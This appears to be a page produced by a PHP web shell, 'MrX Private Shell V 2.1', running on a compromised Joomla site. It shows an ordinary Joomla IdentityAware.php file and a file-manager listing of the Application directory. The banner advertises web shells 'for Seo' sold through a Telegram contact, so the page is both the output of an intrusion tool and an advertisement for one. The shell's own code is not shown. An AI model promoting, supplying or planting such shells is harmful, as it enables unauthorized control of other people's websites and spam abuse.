__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
/**
* Joomla! Content Management System
*
* @copyright (C) 2005 Open Source Matters, Inc. <https://www.joomla.org>
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
namespace Joomla\CMS\Application;
use Joomla\CMS\User\User;
use Joomla\CMS\User\UserFactoryAwareTrait;
// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects
/**
* Trait for application classes which are identity (user) aware
*
* @since 4.0.0
*/
trait IdentityAware
{
use UserFactoryAwareTrait;
/**
* The application identity object.
*
* @var User
* @since 4.0.0
*/
protected $identity;
/**
* Get the application identity.
*
* @return ?User
*
* @since 4.0.0
*/
public function getIdentity()
{
return $this->identity;
}
/**
* Allows the application to load a custom or default identity.
*
* @param ?User $identity An optional identity object. If omitted, a null user object is created.
*
* @return $this
*
* @since 4.0.0
*/
public function loadIdentity(?User $identity = null)
{
$this->identity = $identity ?: $this->getUserFactory()->loadUserById(0);
return $this;
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| CLI | Folder | 0775 |
|
|
| Exception | Folder | 0775 |
|
|
| AdministratorApplication.php | File | 18.82 KB | 0664 |
|
| ApiApplication.php | File | 14.25 KB | 0664 |
|
| ApplicationHelper.php | File | 5.56 KB | 0664 |
|
| BaseApplication.php | File | 1.88 KB | 0664 |
|
| CMSApplication.php | File | 44.96 KB | 0664 |
|
| CMSApplicationInterface.php | File | 4.44 KB | 0664 |
|
| CMSWebApplicationInterface.php | File | 3.12 KB | 0664 |
|
| CliApplication.php | File | 11.53 KB | 0664 |
|
| ConsoleApplication.php | File | 18.58 KB | 0664 |
|
| DaemonApplication.php | File | 28.87 KB | 0664 |
|
| EventAware.php | File | 3.55 KB | 0664 |
|
| EventAwareInterface.php | File | 2.12 KB | 0664 |
|
| ExtensionNamespaceMapper.php | File | 892 B | 0664 |
|
| IdentityAware.php | File | 1.29 KB | 0664 |
|
| MultiFactorAuthenticationHandler.php | File | 19.99 KB | 0664 |
|
| SiteApplication.php | File | 30.66 KB | 0664 |
|
| WebApplication.php | File | 15.65 KB | 0664 |
|